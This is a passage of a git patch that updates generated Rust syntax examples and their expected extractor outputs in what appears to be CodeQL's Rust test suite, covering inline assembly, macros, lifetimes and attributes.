a/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs @@ -4,6 +4,7 @@ fn test_asm_reg_operand() -> () { // A register operand in an inline assembly block. // // For example: + use core::arch::asm; asm!("mov {0}, {1}", out(reg) x, in(reg) y); // ^ ^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs b/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs index f058e35bc692..a25799476c8e 100644 --- a/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs @@ -4,6 +4,7 @@ fn test_asm_reg_spec() -> () { // A register specification in an inline assembly block. // // For example: - asm!("mov {0}, {1}", out("eax") x, in("ebx") y); - // ^^^ ^^^ + use core::arch::asm; + asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + // ^^^ ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs b/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs index ef15dbb96171..83475cfcb6cd 100644 --- a/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs +++ b/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs @@ -4,6 +4,7 @@ fn test_asm_sym() -> () { // A symbol operand in an inline assembly block. // // For example: + use core::arch::asm; asm!("call {sym}", sym = sym my_function); // ^^^^^^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs b/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs index 80de1eca8786..725c1ecce63e 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs @@ -4,6 +4,11 @@ fn test_assoc_type_arg() -> () { // An associated type argument in a path. // // For example: - ::Item - // ^^^^ + fn process_cloneable(iter: T) + where + T: Iterator + // ^^^^^^^^^^^ + { + // ... + } } diff --git a/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs b/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs index 2cc5a2562015..6328368c5e17 100644 --- a/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs +++ b/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs @@ -4,6 +4,11 @@ fn test_closure_binder() -> () { // A closure binder, specifying lifetime or type parameters for a closure. // // For example: - for <'a> |x: &'a u32 | x - // ^^^^^^ + let print_any = for |x: T| { + // ^^^^^^^^^^^^^^^^^^^^^^^ + println!("{:?}", x); + }; + + print_any(42); + print_any("hello"); } diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs index d77f533bb0a6..ccd73685feb6 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs @@ -4,6 +4,11 @@ fn test_for_type_repr() -> () { // A higher-ranked trait bound(HRTB) type. // // For example: - for <'a> fn(&'a str) - // ^^^^^ + fn foo(value: T) + where + T: for<'a> Fn(&'a str) -> &'a str + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + { + // ... + } } diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs b/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs index 4d006d2d5b40..ac7cd3245798 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs @@ -4,6 +4,6 @@ fn test_lifetime_arg() -> () { // A lifetime argument in a generic argument list. // // For example: - Foo<'a> - // ^^ + let text: Text<'a>; + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs b/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs index 90bd5da21eef..72c70a7f631d 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs +++ b/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs @@ -1,12 +1,10 @@ // generated by codegen, do not edit fn test_macro_def() -> () { - // A macro definition using the `macro_rules!` or similar syntax. + // A Rust 2.0 style declarative macro definition. // // For example: - macro_rules! my_macro { - () => { - println!("This is a macro!"); - }; + pub macro vec_of_two($element:expr) { + vec![$element, $element] } } diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected index e69de29bb2d1..1e909c533790 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected +++ b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected @@ -0,0 +1 @@ +| gen_macro_pat.rs:8:9:8:19 | MacroPat | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected index e69de29bb2d1..5cdbd40580e5 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected @@ -0,0 +1 @@ +| gen_macro_pat.rs:8:9:8:19 | MacroPat | gen_macro_pat.rs:8:9:8:19 | my_macro!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs b/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs index a4940aae3e2e..d44879fae343 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs +++ b/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs @@ -4,8 +4,14 @@ fn test_macro_pat() -> () { // A macro pattern, representing the invocation of a macro that produces a pattern. // // For example: + macro_rules! my_macro { + () => { + Ok(_) + }; + } match x { my_macro!() => "matched", + // ^^^^^^^^^^^ _ => "not matched", } } diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected index e69de29bb2d1..72e1e6d6fda6 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected @@ -0,0 +1 @@ +| gen_macro_type_repr.rs:7:14:7:26 | MacroTypeRepr | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected index e69de29bb2d1..af3a4e76d1f9 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected @@ -0,0 +1 @@ +| gen_macro_type_repr.rs:7:14:7:26 | MacroTypeRepr | gen_macro_type_repr.rs:7:14:7:26 | macro_type!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs index d81bbcb0cd3a..a1f80029eb90 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs @@ -4,6 +4,9 @@ fn test_macro_type_repr() -> () { // A type produced by a macro. // // For example: + macro_rules! macro_type { + () => { i32 }; + } type T = macro_type!(); // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs b/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs index 2698243d57ab..104540323f95 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs +++ b/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs @@ -4,6 +4,11 @@ fn test_meta() -> () { // A meta item in an attribute. // // For example: - #[cfg(feature = "foo")] - // ^^^^^^^^^^^^^^^ + #[unsafe(lint::name = "reason_for_bypass")] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + fn foo() { + // ... + } } diff --git a/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs b/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs index 71b863832b46..70efa0da8fc8 100644 --- a/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs @@ -2,6 +2,6 @@ fn test_path_type_repr() -> () { // A path referring to a type. For example: - let x: (i32); - // ^^^ + type X = std::collections::HashMap; + type Y = X::Item; } From 943dd8e70cdb86f37184b3e228e022393e526bd9 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 30 May 2025 13:54:37 +0200 Subject: [PATCH 475/535] update output --- rust/ql/test/extractor-tests/generated/Abi/Abi.expected | 1 + .../extractor-tests/generated/Abi/Abi_getAbiString.expected | 1 + .../test/extractor-tests/generated/ArgList/ArgList.expected | 2 +- .../generated/ArgList/ArgList_getArg.expected | 4 +++- .../generated/ArrayTypeRepr/ArrayTypeRepr.expected | 1 + .../ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected | 1 + .../ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected | 1 + .../generated/AsmClobberAbi/AsmClobberAbi.expected | 1 + .../extractor-tests/generated/AsmConst/AsmConst.expected | 1 + .../generated/AsmConst/AsmConst_getExpr.expected | 1 + .../extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected | 2 ++ .../test/extractor-tests/generated/AsmExpr/AsmExpr.expected | 2 +- .../generated/AsmExpr/AsmExpr_getAsmPiece.expected | 2 ++ .../generated/AsmExpr/AsmExpr_getAttr.expected | 1 + .../generated/AsmExpr/AsmExpr_getTemplate.expected | 2 +- .../extractor-tests/generated/AsmLabel/AsmLabel.expected | 0 .../generated/AsmLabel/AsmLabel_getBlockExpr.expected | 0 .../generated/AsmOperandExpr/AsmOperandExpr.expected | 2 ++ .../AsmOperandExpr/AsmOperandExpr_getInExpr.expected | 2 ++ .../AsmOperandExpr/AsmOperandExpr_getOutExpr.expected | 2 ++ .../generated/AsmOperandNamed/AsmOperandNamed.expected | 2 ++ .../AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected | 2 ++ .../AsmOperandNamed/AsmOperandNamed_getName.expected | 1 + .../extractor-tests/generated/AsmOption/AsmOption.expected | 2 ++ .../generated/AsmOptionsList/AsmOptionsList.expected | 1 + .../AsmOptionsList/AsmOptionsList_getAsmOption.expected | 2 ++ .../generated/AsmRegOperand/AsmRegOperand.expected | 2 ++ .../AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected | 2 ++ .../AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected | 2 ++ .../AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected | 2 ++ .../extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected | 2 ++ .../generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected | 1 + .../ql/test/extractor-tests/generated/AsmSym/AsmSym.expected | 1 + .../extractor-tests/generated/AsmSym/AsmSym_getPath.expected | 1 + .../generated/AssocTypeArg/AssocTypeArg.expected | 1 + .../AssocTypeArg/AssocTypeArg_getIdentifier.expected | 1 + .../AssocTypeArg/AssocTypeArg_getTypeBoundList.expected | 1 + rust/ql/test/extractor-tests/generated/Attr/Attr.expected | 1 + .../extractor-tests/generated/Attr/Attr_getMeta.expected | 1 + rust/ql/test/extractor-tests/generated/Const/Const.expected | 1 + .../extractor-tests/generated/Const/Const_getBody.expected | 1 + .../extractor-tests/generated/Const/Const_getName.expected | 1 + .../generated/Const/Const_getTypeRepr.expected | 1 + .../extractor-tests/generated/ConstArg/ConstArg.expected | 1 + .../generated/ConstArg/ConstArg_getExpr.expected | 1 + .../extractor-tests/generated/ConstParam/ConstParam.expected | 1 + .../generated/ConstParam/ConstParam_getName.expected | 1 + .../generated/ConstParam/ConstParam_getTypeRepr.expected | 1 + .../generated/DynTraitTypeRepr/DynTraitTypeRepr.expected | 1 + .../DynTraitTypeRepr_getTypeBoundList.expected | 1 + rust/ql/test/extractor-tests/generated/Enum/Enum.expected | 1 + .../extractor-tests/generated/Enum/Enum_getName.expected | 1 + .../generated/Enum/Enum_getVariantList.expected | 1 + .../generated/ExternBlock/ExternBlock.expected | 1 + .../generated/ExternBlock/ExternBlock_getAbi.expected | 1 + .../ExternBlock/ExternBlock_getExternItemList.expected | 1 + .../generated/ExternCrate/ExternCrate.expected | 1 + .../generated/ExternCrate/ExternCrate_getIdentifier.expected | 1 + .../generated/ExternItemList/ExternItemList.expected | 1 + .../ExternItemList/ExternItemList_getExternItem.expected | 2 ++ .../generated/FnPtrTypeRepr/FnPtrTypeRepr.expected | 1 + .../FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected | 1 + .../FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected | 1 + .../test/extractor-tests/generated/ForExpr/ForExpr.expected | 1 + .../generated/ForExpr/ForExpr_getIterable.expected | 1 + .../generated/ForExpr/ForExpr_getLoopBody.expected | 1 + .../generated/ForExpr/ForExpr_getPat.expected | 1 + .../generated/ForTypeRepr/ForTypeRepr.expected | 1 + .../ForTypeRepr/ForTypeRepr_getGenericParamList.expected | 1 + .../generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected | 1 + rust/ql/test/extractor-tests/generated/Impl/Impl.expected | 1 + .../generated/Impl/Impl_getAssocItemList.expected | 1 + .../extractor-tests/generated/Impl/Impl_getSelfTy.expected | 1 + .../extractor-tests/generated/Impl/Impl_getTrait.expected | 1 + .../generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected | 1 + .../ImplTraitTypeRepr_getTypeBoundList.expected | 1 + .../generated/InferTypeRepr/InferTypeRepr.expected | 1 + .../extractor-tests/generated/ItemList/ItemList.expected | 1 + .../generated/ItemList/ItemList_getItem.expected | 2 ++ .../test/extractor-tests/generated/LetElse/LetElse.expected | 1 + .../generated/LetElse/LetElse_getBlockExpr.expected | 1 + .../extractor-tests/generated/Lifetime/Lifetime.expected | 2 ++ .../generated/Lifetime/Lifetime_getText.expected | 2 ++ .../generated/LifetimeArg/LifetimeArg.expected | 1 + .../generated/LifetimeArg/LifetimeArg_getLifetime.expected | 1 + .../generated/LifetimeParam/LifetimeParam.expected | 1 + .../LifetimeParam/LifetimeParam_getLifetime.expected | 1 + .../extractor-tests/generated/MacroCall/MacroCall.expected | 3 ++- .../MacroCall/MacroCall_getMacroCallExpansion.expected | 3 ++- .../generated/MacroCall/MacroCall_getPath.expected | 3 ++- .../generated/MacroCall/MacroCall_getTokenTree.expected | 3 ++- .../extractor-tests/generated/MacroDef/MacroDef.expected | 1 + .../generated/MacroDef/MacroDef_getArgs.expected | 1 + .../generated/MacroDef/MacroDef_getBody.expected | 1 + .../generated/MacroDef/MacroDef_getName.expected | 1 + .../generated/MacroDef/MacroDef_getVisibility.expected | 1 + .../extractor-tests/generated/MacroExpr/MacroExpr.expected | 2 +- .../generated/MacroExpr/MacroExpr_getMacroCall.expected | 2 +- .../extractor-tests/generated/MacroPat/MacroPat.expected | 2 +- .../generated/MacroPat/MacroPat_getMacroCall.expected | 2 +- .../extractor-tests/generated/MacroRules/MacroRules.expected | 1 + .../generated/MacroRules/MacroRules_getName.expected | 1 + .../generated/MacroRules/MacroRules_getTokenTree.expected | 1 + .../generated/MacroTypeRepr/MacroTypeRepr.expected | 2 +- .../MacroTypeRepr/MacroTypeRepr_getMacroCall.expected | 2 +- .../generated/MatchArmList/MatchArmList.expected | 1 + .../generated/MatchArmList/MatchArmList_getArm.expected | 3 +++ .../extractor-tests/generated/MatchGuard/MatchGuard.expected | 1 + .../generated/MatchGuard/MatchGuard_getCondition.expected | 1 + rust/ql/test/extractor-tests/generated/Meta/Meta.expected | 2 ++ .../extractor-tests/generated/Meta/Meta_getExpr.expected | 1 + .../extractor-tests/generated/Meta/Meta_getPath.expected | 2 ++ .../generated/Meta/Meta_getTokenTree.expected | 1 + rust/ql/test/extractor-tests/generated/Name/Name.expected | 1 + .../extractor-tests/generated/Name/Name_getText.expected | 1 + .../test/extractor-tests/generated/NameRef/NameRef.expected | 5 +---- .../generated/NameRef/NameRef_getText.expected | 5 +---- .../generated/NeverTypeRepr/NeverTypeRepr.expected | 2 ++ .../extractor-tests/generated/ParamList/ParamList.expected | 1 + .../generated/ParamList/ParamList_getParam.expected | 2 ++ .../extractor-tests/generated/ParenExpr/ParenExpr.expected | 1 + .../generated/ParenExpr/ParenExpr_getExpr.expected | 1 + .../extractor-tests/generated/ParenPat/ParenPat.expected | 1 + .../generated/ParenPat/ParenPat_getPat.expected | 1 + .../generated/ParenTypeRepr/ParenTypeRepr.expected | 1 + .../ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected | 1 + .../ParenthesizedArgList/ParenthesizedArgList.expected | 1 + .../ParenthesizedArgList_getTypeArg.expected | 2 ++ .../generated/PtrTypeRepr/PtrTypeRepr.expected | 2 ++ .../generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected | 2 ++ .../generated/RefTypeRepr/RefTypeRepr.expected | 2 ++ .../generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected | 2 ++ .../ql/test/extractor-tests/generated/Rename/Rename.expected | 1 + .../extractor-tests/generated/Rename/Rename_getName.expected | 1 + .../test/extractor-tests/generated/RestPat/RestPat.expected | 1 + .../generated/RetTypeRepr/RetTypeRepr.expected | 2 +- .../generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected | 1 + .../generated/ReturnTypeSyntax/ReturnTypeSyntax.expected | 2 ++ .../generated/SliceTypeRepr/SliceTypeRepr.expected | 1 + .../SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected | 1 + .../extractor-tests/generated/SourceFile/SourceFile.expected | 2 +- .../generated/SourceFile/SourceFile_getItem.expected | 2 +- .../ql/test/extractor-tests/generated/Static/Static.expected | 1 + .../extractor-tests/generated/Static/Static_getBody.expected | 1 + .../extractor-tests/generated/Static/Static_getName.expected | 1 + .../generated/Static/Static_getTypeRepr.expected | 1 + .../extractor-tests/generated/StmtList/StmtList.expected | 3 ++- .../generated/StmtList/StmtList_getStatement.expected | 2 ++ .../generated/StmtList/StmtList_getTailExpr.expected | 2 +- .../ql/test/extractor-tests/generated/Struct/Struct.expected | 1 + .../generated/Struct/Struct_getFieldList.expected | 1 + .../extractor-tests/generated/Struct/Struct_getName.expected | 1 + .../StructExprFieldList/StructExprFieldList.expected | 1 + .../StructExprFieldList_getField.expected | 2 ++ .../generated/StructField/StructField.expected | 1 + .../generated/StructField/StructField_getName.expected | 1 + .../generated/StructField/StructField_getTypeRepr.expected | 1 + .../generated/StructFieldList/StructFieldList.expected | 1 + .../StructFieldList/StructFieldList_getField.expected | 2 ++ .../generated/StructPatFieldList/StructPatFieldList.expected | 1 + .../StructPatFieldList/StructPatFieldList_getField.expected | 2 ++ .../extractor-tests/generated/TokenTree/TokenTree.expected | 4 +++- .../extractor-tests/generated/TraitAlias/TraitAlias.expected | 1 + .../generated/TraitAlias/TraitAlias_getName.expected | 1 + .../TraitAlias/TraitAlias_getTypeBoundList.expected | 1 + .../test/extractor-tests/generated/TryExpr/TryExpr.expected | 1 + .../generated/TryExpr/TryExpr_getExpr.expected | 1 + .../extractor-tests/generated/TupleField/TupleField.expected | 2 ++ .../generated/TupleField/TupleField_getTypeRepr.expected | 2 ++ .../generated/TupleFieldList/TupleFieldList.expected | 1 + .../TupleFieldList/TupleFieldList_getField.expected | 2 ++ .../generated/TupleTypeRepr/TupleTypeRepr.expected | 1 + .../generated/TupleTypeRepr/TupleTypeRepr_getField.expected | 2 ++ .../test/extractor-tests/generated/TypeArg/TypeArg.expected | 1 + .../generated/TypeArg/TypeArg_getTypeRepr.expected | 1 + .../extractor-tests/generated/TypeBound/TypeBound.expected | 1 + .../generated/TypeBound/TypeBound_getTypeRepr.expected | 1 + .../generated/TypeBoundList/TypeBoundList.expected | 1 + .../generated/TypeBoundList/TypeBoundList_getBound.expected | 2 ++ .../extractor-tests/generated/TypeParam/TypeParam.expected | 1 + .../generated/TypeParam/TypeParam_getName.expected | 1 + rust/ql/test/extractor-tests/generated/Union/Union.expected | 1 + .../extractor-tests/generated/Union/Union_getName.expected | 1 + .../generated/Union/Union_getStructFieldList.expected | 1 + rust/ql/test/extractor-tests/generated/Use/Use.expected | 1 + .../extractor-tests/generated/Use/Use_getUseTree.expected | 1 + .../UseBoundGenericArgs/UseBoundGenericArgs.expected | 1 + .../UseBoundGenericArgs_getUseBoundGenericArg.expected | 3 +++ .../generated/UseTreeList/UseTreeList.expected | 1 + .../generated/UseTreeList/UseTreeList_getUseTree.expected | 2 ++ .../test/extractor-tests/generated/Variant/Variant.expected | 3 +++ .../generated/Variant/Variant_getFieldList.expected | 2 ++ .../generated/Variant/Variant_getName.expected | 3 +++ .../generated/VariantList/VariantList.expected | 1 + .../generated/VariantList/VariantList_getVariant.expected | 3 +++ .../extractor-tests/generated/Visibility/Visibility.expected | 1 + .../generated/WhereClause/WhereClause.expected | 1 + .../generated/WhereClause/WhereClause_getPredicate.expected | 1 + .../extractor-tests/generated/WherePred/WherePred.expected | 2 ++ .../generated/WherePred/WherePred_getTypeBoundList.expected | 2 ++ .../generated/WherePred/WherePred_getTypeRepr.expected | 2 ++ .../extractor-tests/generated/WhileExpr/WhileExpr.expected | 1 + .../generated/WhileExpr/WhileExpr_getCondition.expected | 1 + .../generated/WhileExpr/WhileExpr_getLoopBody.expected | 1 + 204 files changed, 263 insertions(+), 28 deletions(-) create mode 100644 rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected create mode 100644 rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected create mode 100644 rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected create mode 100644 rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected create mode 100644 rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected diff --git a/rust/ql/test/extractor-tests/generated/Abi/Abi.expected b/rust/ql/test/extractor-tests/generated/Abi/Abi.expected index e69de29bb2d1..1184fc0e3742 100644 --- a/rust/ql/test/extractor-tests/generated/Abi/Abi.expected +++ b/rust/ql/test/extractor-tests/generated/Abi/Abi.expected @@ -0,0 +1 @@ +| gen_abi.rs:7:5:7:14 | Abi | hasAbiString: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected b/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected index e69de29bb2d1..278aa2d83252 100644 --- a/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected +++ b/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected @@ -0,0 +1 @@ +| gen_abi.rs:7:5:7:14 | Abi | "C" | diff --git a/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected b/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected index 883d8f2a698c..86eca9460ef4 100644 --- a/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected +++ b/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected @@ -1 +1 @@ -| gen_arg_list.rs:5:5:5:11 | ArgList | getNumberOfArgs: | 1 | +| gen_arg_list.rs:7:8:7:16 | ArgList | getNumberOfArgs: | 3 | diff --git a/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected b/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected index 9bbaa63495cd..2cfb771d6cb6 100644 --- a/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected +++ b/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected @@ -1 +1,3 @@ -| gen_arg_list.rs:5:5:5:11 | ArgList | 0 | gen_arg_list.rs:5:5:5:11 | "not yet implemented" | +| gen_arg_list.rs:7:8:7:16 | ArgList | 0 | gen_arg_list.rs:7:9:7:9 | 1 | +| gen_arg_list.rs:7:8:7:16 | ArgList | 1 | gen_arg_list.rs:7:12:7:12 | 2 | +| gen_arg_list.rs:7:8:7:16 | ArgList | 2 | gen_arg_list.rs:7:15:7:15 | 3 | diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected index e69de29bb2d1..b19154aca0b0 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected @@ -0,0 +1 @@ +| gen_array_type_repr.rs:7:14:7:21 | ArrayTypeRepr | hasConstArg: | yes | hasElementTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected index e69de29bb2d1..9ab029133f6b 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected @@ -0,0 +1 @@ +| gen_array_type_repr.rs:7:14:7:21 | ArrayTypeRepr | gen_array_type_repr.rs:7:20:7:20 | ConstArg | diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected index e69de29bb2d1..86b22f2f39d8 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected @@ -0,0 +1 @@ +| gen_array_type_repr.rs:7:14:7:21 | ArrayTypeRepr | gen_array_type_repr.rs:7:15:7:17 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected new file mode 100644 index 000000000000..10f3409cc794 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected @@ -0,0 +1 @@ +| gen_asm_clobber_abi.rs:8:14:8:29 | AsmClobberAbi | diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected new file mode 100644 index 000000000000..5a82c38127c1 --- /dev/null +++ 